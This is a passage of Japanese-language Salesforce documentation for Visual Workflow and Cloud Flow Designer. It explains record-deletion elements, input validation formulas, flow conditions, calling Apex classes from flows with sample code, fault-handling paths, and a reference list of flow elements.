Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce レコードを削除するには、レコード削除要素または高速削除要素を使
用します。どの要素が適切かは、フローの他の部分の処理によって異なります。

例: 顧客が見積を承諾した場合に、商談から残りの見積を自動的に削除し
ます。

1 つ以上のレコードを削除するには、フローで次の手順を実行します。
1. 削除するレコードを特定します。
2. それらの変更を Salesforce データベースに保存します (つまり、変更がデータ

ベースに保存されるまでは、変更はフローの内部にのみ存在しています)。

レコードを削除するフロー要素の選択基準は?

要素間の主な違いは、削除するレコードを特定する方法です。

削除するレコードを特定する方法

同じ要素内で検索条件を使用する。レコードの削除

別の要素内で、sObject 変数または sObject コレクション変数に削除するレコードの ID を入
力する。

高速削除

すでに sObject 変数または sObject コレクション変数に削除するレコードを入力済みである場合は、高速削除を
使用します (sObject コレクション変数は、高速削除要素を使用したレコードの削除でのみサポートされていま
す)。組織の制限を節約するために、可能な限り高速要素を使用することをお勧めします。詳細は、「トラン
ザクションでのフローの一括処理」を参照してください。
削除するレコードをまだ特定していない場合や、ID を sObject 以外のリソース (単一値変数など) に保存した場合
は、レコード削除要素を使用します。sObject コレクション変数はこの要素ではサポートされていません。

例: 次に、各削除要素を使用して、商談から残りの見積を削除する方法を示します。

フローにより、特定の商談に関連付けられていて承認されていないすべての見積が検
索され、それらが削除されます。

レコード削除
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削除する見積の ID がすでに {!svarQuotesUnnecessary} に入力済みであることを前提としま
す。フローによって、ID がその変数に含まれているレコードがすべて削除されます。

高速削除

関連トピック:

フローの高速削除要素
フローのレコード削除要素
フロー内での Salesforce レコードの操作

フロー数式を使用したユーザ入力の検証

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

通常の入力規則と同様に、フロー画面でのユーザ入力を検証できます。
• この数式は Boolean 値 (TRUE または FALSE) を返す必要があります。
• 数式で TRUE と評価された場合は、入力が有効です。数式で FALSE と評価

されると、エラーメッセージが表示されます。
• ユーザが項目を空白にし、その項目が必須でない場合は、フローで項目が検

証されません。
画面入力項目を設定する手順は、次のとおりです。
1. [入力規則] 画面で、[検証] を選択します。
2. Boolean 数式を入力して、項目で許容される値を定義します。

メモ:

• この数式では boolean 値を返す必要があります。
• 数式が TRUE と評価された場合、その入力は有効です。
• 数式が FALSEと評価されると、エラーメッセージが表示されます。
• ユーザが項目を空白のままにし、項目が必須でない場合、フローは

検証されません。

3. ユーザ入力が検証に失敗した場合に表示されるエラーメッセージをカスタマイズします。
をクリックして、プレーンテキストエディタとリッチテキストエディタを切り替えます。リッチテキス

トエディタを使用して、コンテンツを HTML として保存します。

例:

• メールアドレスの数式の検証:

REGEX({!Email_Address},"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,4}")
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• 郵便番号の数式の検証:

REGEX({!Zipcode},"\\d{5}(-\\d{4})?")

フロー条件の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

フローで特定の決定結果をいつ使用し、特定の待機イベントをいつ待機するか
を制御します。
開始する前に、条件を追加する決定要素または待機要素を作成します。条件を
待機イベントに追加するには、[他の条件が満たされた場合にのみ、このイベン
トを待機します] を選択します。
1. 条件を設定します。

実行時に、指定した順に条件が評価されます。

説明列ヘッダー

値を評価するフローリソース。リソース

使用可能な演算子は、[リソース]に選択されたデータ型
によって異なります。詳細は、「フロー条件の演算子」
(ページ 5806)を参照してください。

演算子

同じ行の [変数]と [値]のデータ型は、互換性がある必
要があります。
オプション:

値

• 変数、定数、またはユーザ入力など、既存のフローリ
ソースを選択します。

• [新規作成] を選択して、フローリソースを作成しま
す。

• リテラル値または差し込み項目を手動入力します。

メモ: 日付値から数値を加算または減算すると、日
付は時間単位ではなく日単位で調整されます。

2. 条件間のロジックを特定します。

説明オプション

いずれかの条件が false の場合、フローで次の結果の条件が評価されます。すべての条件が true で
ある必要があります
(AND)
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説明オプション

いずれかの条件が true の場合、フローでこの結果のパスがすぐに使用されます。1 つの条件が true で
ある必要があります
(OR)

カスタムロジック。
このオプションを選択した場合は、テキスト文字列を入力して、カスタマイズ
された [ロジック] を指定します。以下を使用します。

高度なロジック (AND と
OR の組み合わせ)

• 各条件を参照する数値
• すべての条件が true となる必要があるのか、いずれか 1 つの条件が true であ

れば十分なのかを示す AND または OR

• 文字列の一部をグループ化するための括弧

ヒント: ANDを入力した場合は、[すべての条件が true である必要がありま
す(AND)] を選択した場合と同じです。OR を入力した場合は、[1 つの条件
が true である必要があります (OR)] を選択した場合と同じです。その他の
ロジックを入力する場合は、各条件の番号を含めるようにします。

たとえば、1 AND (2 OR 3) の場合、フローは最初の条件が True であるかどう
か、および 2 番目と 3 番目の条件のいずれかが True であるかどうかを評価しま
す。

関連トピック:

待機条件とは?

フローの待機要素
フローの決定要素

フローからのメールの送信
フローからメールを送信するには、フローでメールアラートワークフローアクションをコールするか、メール
を作成します。
メールアラート要素

ワークフローメールアラートを使用してメールテンプレートおよび受信者を指定し、メールを送信します。
フローはレコード ID のみを指定します。

メールの送信要素
フローに件名、本文、受信者を手動で指定して、メールを送信します。

関連トピック:

フロー要素
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フローからの Apex コードの呼び出し

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Cloud Flow Designerには多くの機能がありますが、デフォルト要素では許可されな
い操作がフローで必要となる場合があります。その場合は、Apex プラグインお
よび Apex のコールの 2 つのフロー要素のいずれかを使用して、フローから Apex

クラスをコールします。
開発者が Apex クラスをフローで使用可能にしようとする場合、2 つのオプショ
ンがあります。

ヒント: Process.Pluginインターフェースではなく @InvocableMethod

アノテーションを使用することをお勧めします。
Process.Plugin インターフェースはパレットでクラスが表示される方法のカ
スタマイズをサポートしていますが、@InvocableMethodアノテーションには
より多くの機能があります。次の表に、各オプションでサポートされる機能を
示します。

@InvocableMethod アノテーションProcess.Plugin インターフェース

未サポート:未サポート:Apex データ型の
サポート • 汎用オブジェクト• Blob

• コレクション • 汎用 sObject

• sObject • Set

• Time • Map

• enum

Cloud Flow Designer は、Apexメソッドの入力ま
たは出力パラメータの sObject コレクション
変数への対応付けはサポートしていません。

サポート未サポート一括処理

クラス名クラス名または name プロパティの値Cloud Flow

Designerの要素名

このアノテーションを実装するクラスは、
以下で使用可能:

このインターフェースを実装するクラスは
フローで使用可能

再利用性

• フロー
• プロセス
• REST API

ApexApexプラグインまたは tagプロパティの値Cloud Flow

Designer のセク
ション

InvocableMethod アノテーションおよび
InvocableVariable アノテーション

Process.Pluginインターフェースを使用
してフローにデータを渡す

『Force.com Apex

コード開発者ガイ
ド』内の詳細
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例: この 2 つの実装方法の違いを説明するために、フローから取引先名を取得してその取引先の ID を返す
という同じ動作を行う 2 つのクラスを次に示します。
このクラスは @InvocableMethod アノテーションを実装しています。
global class lookUpAccountAnnotation {

@InvocableMethod
public static List<String> getAccountIds(List<String> names) {

List<Id> accountIds = new List<Id>();
List<Account> accounts = [SELECT Id FROM Account WHERE Name in :names];
for (Account account : accounts) {

accountIds.add(account.Id);
}
return accountIds;

}
}

このクラスは Process.Plugin インターフェースを実装しています。
global class lookUpAccountPlugin implements Process.Plugin {

global Process.PluginResult invoke(Process.PluginRequest request) {
String name = (String) request.inputParameters.get('name');
Account account = [SELECT Id FROM Account WHERE Name = :name LIMIT 1][0];

Map<String,Object> result = new Map<String,Object>();
result.put('accountId', account.Id);
return new Process.PluginResult(result);

}

global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = 'Look Up Account ID By Name';
result.Tag = 'Account Classes';
result.inputParameters = new

List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('name',
Process.PluginDescribeResult.ParameterType.STRING, true)

};
result.outputParameters = new

List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('accountId',
Process.PluginDescribeResult.ParameterType.STRING)

};
return result;

}
}

lookupAccountAnnotation  (11 行) は lookupAccountPlugin  (28 行) の半分より短い長さになっていま
す。さらに、アノテーションは一括処理をサポートしているため、lookupAccountAnnotation はイン
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タビューのバッチごとに 1 つのクエリを実行します。lookupAccountPluginはインタビューごとに 1 つ
のクエリを実行します。

関連トピック:

フロー要素

別の参照されるフローバージョンの入力および出力の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

サブフロー要素を設定しながら、参照されるフローの特定のバージョンの変数
を表示します。こうすると、ドラフトのマスターフローと参照されるフローを
同時に設定できます。
サブフロー要素からは、入力アクセスを許可する参照されるフローの変数にの
み、値を割り当てることができます。同様に、出力アクセスを許可する参照さ
れるフローの変数からのみ、値を割り当てることができます。このアクセスは、
変数の [入力/出力種別] によって決まります。変数の [入力/出力種別] を変更
するには、参照されるフローを開いて、変数を編集します。
デフォルトでは、このドロップダウンリストには参照されるフローの現在有効
なバージョンの変数が表示されます。参照されるフローに有効なバージョンが
ない場合は、最新バージョンの参照されるフローの変数がドロップダウンリス
トに表示されます。
参照されるフローの別のバージョンの変数を使用してドロップダウンリストを
入力するには、次の手順を実行します。参照されるフローの変数の説明を表示
する場合にも、同じ手順を実行します。
1. サブフローのフロート表示で、[入力/出力変数割り当て] セクションを展開

します。
2. [他のバージョンの入力/出力を表示] をクリックします。
3. 次の 1 つ以上のオプションを使用します。

説明オプション

[入力および出力] タブに、参照されるフローの選択されたバー
ジョンの変数が表示されます。

左ペインで [バージョン]番号を選択し
ます。

タブには次が表示されます。[入力] タブまたは [出力] タブを選択し
ます。 • 選択された [バージョン]の参照されるフローにある、入力ま

たは出力割り当てに使用できる変数。
• 各変数のデータ型。
• 各変数の説明 (ある場合)。

参照されるフローの変数を選択するために使用するサブフローフ
ロート表示のドロップダウンリストには、参照されるフローの選
択された [バージョン] の変数が入力されています。

[OK] をクリックします。
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サブフローの入力および出力割り当てを設定する場合、参照されるフローの任意のバージョンの変数を指定で
きます。このため、参照されるフローの別のバージョンを有効にしたまま、マスタフローと参照されるフロー
の両方を並行して開発できます。ただし、マスタフローを保存すると、Cloud Flow Designer で、参照されるフ
ローの現在有効なバージョンが検証されます。フローに有効なバージョンがない場合は、最新バージョンが検
証されます。検出されなかった変数、または参照されるフローで異なって設定されている変数について検証
メッセージが表示されても、フローを保存できます。いずれにしても、マスタフローを有効化する前に、すべ
ての検証エラーを解決してください。

関連トピック:

フローのサブフロー要素

高速作成要素によるレコードのコピー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

フローでは組織のレコードをコピーできます。最初に、sObject 変数に既存のレ
コードの値を代入します。実行ユーザが編集できない項目を特定し、残りのす
べての項目を別の sObject 変数に対応付けます。次に、高速作成要素の 2 番目の
sObject 変数を使用し、レコードをコピーします。
操作を開始する前に、「フローでレコードの作成または更新を行うときにアク
セスできない項目」を確認してください。
1. sObject 変数に既存のレコードの値を代入します。

次に例を示します。
• 高速検索要素によってレコードを検索する。
• プロセスのフローアクションからレコードを取得する。

2. 割り当て要素では、書き込み可能な項目値を新しい sObject 変数にコピーしま
す。

メモ: 新しい変数に ID が設定されていないことを確認してください。

3. 高速作成要素をフローに追加します。新しい sObject 変数を選択し、新しいコ
ピーレコードの値を代入します。

関連トピック:

ある sObject 変数から別の sObject 変数への項目値のコピー
フローの高速作成要素
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コレクション変数への値の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コレクション変数を作成したら、値を入力してフロー全体で参照できるように
します。コレクション変数への入力にはレコード検索要素や高速検索要素を使
用できませんが、他の方法が存在します。
フロー外の値を使用するには、コレクション変数の [入力/出力種別]を「入力」
に設定し、URL パラメータ、Visualforceコントローラ、サブフロー入力のいずれか
を使用します。値をフロー外から取り込む場合、値を設定できるのはフローイ
ンタビューの開始時のみです。

詳細情報手順追加する値の保存場所

割り当て要素を使用し
て、項目の入力済みまた

画面項目 • 選択項目
• 入力項目は保存済みの値をコレク
• 出力項目ション変数に追加しま

す。 • 割り当て

割り当て要素を使用し
て、変数の保存済みの値

変数 • 変数
• 割り当てをコレクション変数に追

加します。

割り当て要素を使用し
て、sObject 変数の保存済

sObject 変数 • sObject 変数
• 割り当てみの項目値の 1 つをコレ

クション変数に追加しま
す。

sObject コレクション変数
をループします。ループ

sObject コレクション変数 • sObject コレクション変
数

内で割り当て要素を使用
• ループして、ループ変数の保存
• 割り当て済みの項目値の 1 つをコ

レクション変数に追加し
ます。

関連トピック:

フローのコレクション変数リソース
コレクション変数に入力するサンプルフロー

5731

Visual Workflowコードではなくてクリックによる Salesforce の拡張



フローが辿るパスの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

キャンバス上の要素を結び付けて、フローが実行する要素とその実行順序を特
定します。
1. キャンバスで、ソース要素の下のノードを探します。
2. ノードをターゲット要素にドラッグします。
3. プロンプトが表示されたら、パスに割り当てる結果を選択します。

関連トピック:

フローからのコネクタの削除
フローコネクタ
フローが失敗した場合の処理のカスタマイズ

フローからのコネクタの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

コネクタのターゲット要素またはソース要素は変更できないため、パスを変更
するには、そのコネクタを削除して新しいコネクタを追加します。
特定の結果のコネクタを削除しても、ソース要素から結果は削除されません。
ただし、決定要素から結果を削除すると、結果のコネクタも削除されます。
1. フローで、削除するコネクタを選択します。

コネクタを選択すると、その色が灰色から緑に変わります。コネクタの選択
がうまくいかない場合は、コネクタを含むキャンバスの領域をクリックして
ドラッグします。

2. Delete キーを押します。

関連トピック:

フローが辿るパスの定義
フローコネクタ
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フローが失敗した場合の処理のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコード更新要素や承認申請要素など、Salesforce データベースを操作する要素
がフローに含まれていると、フローが失敗することがあります。失敗する可能
性があるすべての要素に障害パスを追加して、デフォルトの動作を変更します。

フローが失敗が失敗した場合の処理
フローのエラー処理をカスタマイズするかどうかを決定する場合は、失敗し
たフローのデフォルトの動作を考慮します。
メールを送信するすべての障害パスの設定 (ベストプラクティス)

フローで障害コネクタを設定して、フローが失敗するたびに常にメールが送
信されるようにすることをお勧めします。メールには、すべてのフローリ
ソースの現在の値を含めます。リソースの値から、フローが失敗した理由を
究明できます。
フローの実行ユーザに表示するエラーメッセージのカスタマイズ (ベストプラクティス)

「このフローで未対応の障害が発生しました」よりも適切なメッセージをユーザに表示することをお勧め
します。これは、使用している配布方法で、画面を含むフローをサポートしている場合にのみ使用します。
つまり、プロセスを使用してフローが配布されている場合は、使用しません。
フローのエラー処理のその他の例
フローエラーを処理するための障害コネクタの使用例としては、ユーザからの修正の要求や、エラーのス
キップがあります。

関連トピック:

フローコネクタ
フロー要素
フローが辿るパスの定義

フローが失敗が失敗した場合の処理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローのエラー処理をカスタマイズするかどうかを決定する場合は、失敗した
フローのデフォルトの動作を考慮します。
デフォルトでは、次の処理が行われます。
• 実行ユーザ (フローを実行しているユーザ) に、次のエラーメッセージが表示

されます。

An unhandled fault has occurred in this flow
An unhandled fault has occurred while processing
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the flow. Please contact your system administrator
for more information.

• 実行ユーザはフローを続行できず、フローの以前の部分に戻ります。
• フローを作成したシステム管理者に、障害メールが送信されます。メールには、失敗した要素、その要素

からのエラーメッセージ、失敗したインタビューで実行された要素が示されます。次に、障害メールに含
まれるエラーメッセージの例を示します。
An error occurred at element Fast_Delete_1.
DELETE --- There is nothing in Salesforce matching your
delete criteria.

関連トピック:

フローが失敗した場合の処理のカスタマイズ

メールを送信するすべての障害パスの設定 (ベストプラクティス)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

フローで障害コネクタを設定して、フローが失敗するたびに常にメールが送信
されるようにすることをお勧めします。メールには、すべてのフローリソース
の現在の値を含めます。リソースの値から、フローが失敗した理由を究明でき
ます。
1. すべてのフローリソースの値を含むテキストテンプレートを作成します。

これにより、インタビューが失敗したときのフロー変数の正確な値を確認で
きます。また、フローに画面が含まれている場合は、ユーザの正確な入力内
容と選択内容も確認できます。
次に、Cloud Flow Designer ワークブックの顧客満足度調査フローのテキストテ
ンプレートの例を示します。

Error: {!$Flow.FaultMessage}

RESOURCE VALUES
Customer Response: {!Customer_Response}
Value of Decision's Yes outcome: {!Yes}
Company: {!Company_Name}
Satisfaction Choice Field: {!Satisfaction}
Service Choice Field: {!Service}
Other Comments:
{!OtherComments}
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2. メールの送信要素を設定します。テキストテンプレートを本文として使用し、メールアドレスを受信者と
して使用します。
次の例の [本文] は、作成したテキストテンプレート {!allVariableValues} に設定されています。

3. 失敗する可能性がある要素ごとに、障害コネクタをメールの送信要素に引き出します。
次の例では、障害コネクタをサポートしているのはレコード作成要素のみです。

関連トピック:

フローのテキストテンプレートリソース
フローのメールの送信要素
フローが失敗した場合の処理のカスタマイズ

5735

Visual Workflowコードではなくてクリックによる Salesforce の拡張



フローの実行ユーザに表示するエラーメッセージのカスタマイズ (ベストプラクティス)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

「このフローで未対応の障害が発生しました」よりも適切なメッセージをユー
ザに表示することをお勧めします。これは、使用している配布方法で、画面を
含むフローをサポートしている場合にのみ使用します。つまり、プロセスを使
用してフローが配布されている場合は、使用しません。
1. わかりやすいエラーメッセージを含むテキストテンプレートを作成します。

<FONT FACE="Arial" STYLE="font-size:14px">
<B>Something went wrong with this flow.</B>
</FONT>
<P>Your admin has received an email about this error.</P>

2. 画面要素を追加します。[表示テキスト] 項目で、テキストテンプレートを参照します。
3. 失敗する可能性がある要素ごとに、障害コネクタを画面要素に引き出します。

次の例では、障害コネクタをサポートしているのはレコード作成要素のみです。フローで適切なエラーメッ
セージがユーザに表示されたら、デバッグ情報を含むメールがシステム管理者に送信されます。

関連トピック:

フローの画面要素: 表示テキスト項目
フローのテキストテンプレートリソース
フローが失敗した場合の処理のカスタマイズ
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フローのエラー処理のその他の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローエラーを処理するための障害コネクタの使用例としては、ユーザからの
修正の要求や、エラーのスキップがあります。
ユーザからの修正の要求

入力値の確認、修正、処理の続行をユーザが行える画面要素に障害コネクタ
を引き出します。

エラーメッセージの表示
コールセンターなど、フローを内部でのみ使用している場合は、障害パスを
使用してエラーメッセージを実行ユーザに表示します。同じ画面要素で、エ
ラーを IT 部門に報告するようユーザに求めます。これを行うには、次の [表
示テキスト] 項目を使用して、画面要素に障害コネクタを引き出します。

Sorry, but you can’t read or update records at this time.
Please open a case with IT and include this error message:
{!$Flow.FaultMessage}

ケースの作成
エラーが発生したら、エラーメッセージを含むケースを自動的に作成し、IT 部門に割り当てます。作成さ
れたケースの ID をテキスト変数 ({!caseId}など) に割り当てます。その後、画面で次のメッセージを実行
ユーザに表示します。
Sorry, but you can’t read or update records at this time.
We filed a case for you.

エラーの無視
フローの特定の要素でエラーをスキップするには、障害コネクタを通常のコネクタとして同じ要素に引き
出します。

関連トピック:

フローが失敗した場合の処理のカスタマイズ

フローの参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フロー要素、リソース、イベントなどの情報にすばやくアクセスできるように、
このページをブックマークしてください。

フロー要素
各要素は、フローで実行できるアクションを表します。このようなアクショ
ンの例として、Salesforce データの読み取りや書き込み、フローユーザへの情
報の表示、フローユーザからのデータの収集、ビジネスロジックの実行、
データの操作などがあります。
フローのリソース
各リソースは、フロー全体で参照できる値を表します。
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フローでのクロスオブジェクト項目の参照
フローの作成時に、sObject 変数に保存された値に関連するレコードの項目を参照できます。これを行うに
は、参照を手動で入力します。
フローコネクタ
コネクタで、フローが実行時に選択できるパスを決定します。Cloud Flow Designer キャンバスでは、コネク
タは、ある要素から別の要素を指す矢印のような外観をしています。
フロー演算子
設定している内容に応じて演算子の動作が異なります。割り当て要素では、演算子を使用してリソースの
値を変更できます。フロー条件やレコード検索条件では、演算子を使用して情報を評価したり、フローの
操作の範囲を絞り込むことができます。
フローのイベント種別
フローの待機要素のイベントの定義に使用する項目は、[イベントの種別] に基づきます。使用可能なイベ
ント種別はいずれもアラームで、基準時刻である日付/時間値と、その時間からのオフセット (省略可能) で
構成されます。
フロー種別
フローまたはフローバージョンの種別によって、サポートされる要素とリソース、およびフローの配布方
法が決まります。
フロープロパティ
フローのプロパティは、その名前、説明、インタビュー表示ラベル、および種別で構成されます。これら
のプロパティが、フローやフローバージョンの詳細ページに表示される項目値を決定します。フローのプ
ロパティとそのフローバージョンは別個のものです。

フロー要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

各要素は、フローで実行できるアクションを表します。このようなアクション
の例として、Salesforce データの読み取りや書き込み、フローユーザへの情報の
表示、フローユーザからのデータの収集、ビジネスロジックの実行、データの
操作などがあります。
Cloud Flow Designerのキャンバスと [エクスプローラ] タブには、フローに存在する
要素が表示されます。[パレット] タブには、キャンバスでドラッグしてフローに
追加できる、使用可能な要素種別が表示されます。

フロー要素の一般設定
どのフロー要素にも、名前、一意の名前、説明という 3 つの共通する設定が
あります。
フローの Apex プラグイン要素
Process.Plugin インターフェースを実装する Apexクラスをコールします。PluginDescribeResult ク
ラスの Tag プロパティを使用している場合、Apex クラスは、カスタマイズされたセクションの下に表示さ
れます。それ以外の場合は、[Apex プラグイン] セクションの下に表示されます。
フローの割り当て要素
変数、コレクション変数、sObject 変数、sObject コレクション変数の値を設定または変更します。
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フローの Apex のコール要素
Apex クラスの呼び出し可能なメソッドをコールします。
フローの決定要素
一連の条件を評価し、これらの条件の結果に基づいてユーザが辿るフローの経路を指定します。この要素
は、if-then ステートメントと同等に機能します。
フローのメールアラート要素
ワークフローメールアラートを使用してメールテンプレートおよび受信者を指定し、メールを送信します。
フローはレコード ID のみを指定します。
フローの高速作成要素
sObject コレクション変数から項目値を使用して、複数の Salesforce レコードを作成します。または、sObject

変数から項目値を使用して、1 つの Salesforce レコードを作成します。
フローの高速削除要素
sObject コレクション変数に保存されている ID 値を使用して、複数の Salesforce レコードを削除します。また
は、sObject 変数に保存されている ID 値を使用して、1 つの Salesforce レコードを削除します。
フローの高速検索要素
複数の Salesforce レコードを検索して、その項目値を sObject コレクション変数に割り当てます。または、1

つの Salesforce レコードを検索して、その項目値を sObject 変数に割り当てます。
フローの高速更新要素
sObject コレクション変数から項目値を使用して、複数の Salesforce レコードを更新します。または、sObject

変数から項目値を使用して、1 つの Salesforce レコードを更新します。変数にレコードの ID が含まれている
場合、その項目値は変数に保存されている他の値と一致するように更新されます。
フローのループ要素
コレクションを一度に 1 項目ずつ反復処理し、ループ内の他の要素を使用して各項目の項目値に対してア
クションを実行します。
フローのレコード作成要素
個別に指定する項目値を使用して、1 つの Salesforce レコードを作成します。
フローのレコード削除要素
指定した条件を満たすすべての Salesforce レコードを削除します。
フローのレコード検索要素
指定した条件を満たす最初のSalesforceレコードを検索します。次に、そのレコードの項目値を個別のフロー
変数または sObject 変数の個別の項目に割り当てます。
フローのレコード更新要素
指定した条件を満たすすべてのSalesforceレコードを検索し、個別に指定する項目値を使用して更新します。
フローのクイックアクション要素
組織ですでに設定されているオブジェクト固有のアクションまたはグローバルクイックアクションをコー
ルします。[作成]、[更新]、および [活動の記録] アクションのみがサポートされています。
フローの Chatter への投稿要素
Chatterグループやケースレコードなど指定したフィードにメッセージを投稿します。メッセージにメンショ
ンやトピックを含めることはできますが、テキスト投稿しかサポートされていません。
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フローの画面要素
フローを実行しているユーザに画面を表示します。この画面では、ユーザに情報を表示したり、ユーザか
ら情報を収集することができます。
フローのメールの送信要素
フローに件名、本文、受信者を手動で指定して、メールを送信します。
フローのステップ要素
どの要素が必要か確定していない場合に、プレースホルダとして機能します。
フローの承認申請要素
1 つの Salesforce レコードの承認申請を行います。
フローのサブフロー要素
組織の別のフローをコールします。この要素を使用して、モジュールフローを参照し、フローの全体的な
アーキテクチャを簡素化します。
フローの待機要素
1 つ以上の定義済みイベントが発生するまで待機します。待機要素により、待機時間を伴うプロセスを自動
化できます。

関連トピック:

フローのリソース
Cloud Flow Designer

フロー要素の一般設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

どのフロー要素にも、名前、一意の名前、説明という 3 つの共通する設定があ
ります。

説明項目

キャンバス上の要素を識別できるようにします。名前

[名前] 項目に入力して、Tab キーを押すと、この項目が空の場
合、自動的に入力されます。
一意性の要件は、現在のフロー内の要素のみに適用されます。
異なるフローで使用されている場合、同じ一意の名前を持つ 2

つの要素を使用できます。一意の名前には、アンダースコアと
英数字を使用できます。最初は文字であること、空白は使用し

一意の名前

ない、最後にアンダースコアを使用しない、2 つ続けてアンダー
スコアを使用しないという制約があります。

[説明を追加] をクリックすると表示されます。説明
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フローの Apex プラグイン要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Process.Plugin インターフェースを実装する Apex クラスをコールします。
PluginDescribeResultクラスの Tag プロパティを使用している場合、Apexク
ラスは、カスタマイズされたセクションの下に表示されます。それ以外の場合
は、[Apex プラグイン] セクションの下に表示されます。

ヒント:

• Apex クラスは、Process.Plugin インターフェースが実装されている
場合にのみ Apex プラグインとしてパレットに表示されます。

• 組織に多数のプラグインがある場合は、tagプロパティを使用するよう
開発者に依頼します。クラスはパレットの特別なセクションヘッダーに
表示されます。それ以外の場合、クラスはその他すべての Apex プラグ
インと一緒に表示されます。

• 開発者がまだ目的のクラスに Process.Plugin インターフェースを実
装していない場合は、代わりに @InvocableMethod アノテーションを
使用することをお勧めします。Process.Plugin インターフェースと
は異なり、@InvocableMethod アノテーションは sObject、コレクショ
ン、Blob、および Time データ型と一括処理をサポートしています。実装
も非常に簡単です。このインターフェースとアノテーションの完全な比
較は、「フローからの Apex コードの呼び出し」 (ページ5727)を参照して
ください。

入力
フローの情報を呼び出された Apex メソッドに渡します。このメソッドによって使用可能な入力パラメータと
そのデータ型が決まります。

出力
呼び出された Apex メソッドの情報をフローに渡します。このメソッドによって使用可能な出力パラメータと
そのデータ型が決まります。
コードが実行されるときに、フローによって値が指定された変数に割り当てられます。
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使用方法
メモ: Apexクラスがレコードを作成、更新、または削除する場合、インタビューのトランザクションが完
了するまで、アクションは実行されません。トランザクションは、インタビューが終了したとき、画面
要素を実行したとき、待機要素を実行したときのいずれかの時点で完了します。

関連トピック:

フローからの Apex コードの呼び出し
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照
Apex 開発者ガイド: Process 名前空間

フローの割り当て要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

変数、コレクション変数、sObject 変数、sObject コレクション変数の値を設定ま
たは変更します。
行ごとに、値を変更する [変数] とその変数の新しい [値] を指定します。実行
時に、指定した順に変数が割り当てられます。

説明列ヘッダー

値を変更する変数。変数

使用可能な演算子は、[変数]に選択されたデータ型によっ
て異なります。

演算子

同じ行の [変数]と [値]のデータ型は、互換性がある必要
があります。
オプション:

値

• 変数、定数、またはユーザ入力など、既存のフローリ
ソースを選択します。

• [新規作成] を選択して、フローリソースを作成します。
• リテラル値または差し込み項目を手動入力します。
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例: フローの質問に対するお客様の回答に基づいて、お客様の信用度の値を変更します。

関連トピック:

フロー要素
フローの割り当て要素の演算子
フローが辿るパスの定義
フローのリソース
フローでのクロスオブジェクト項目の参照

フローの Apex のコール要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

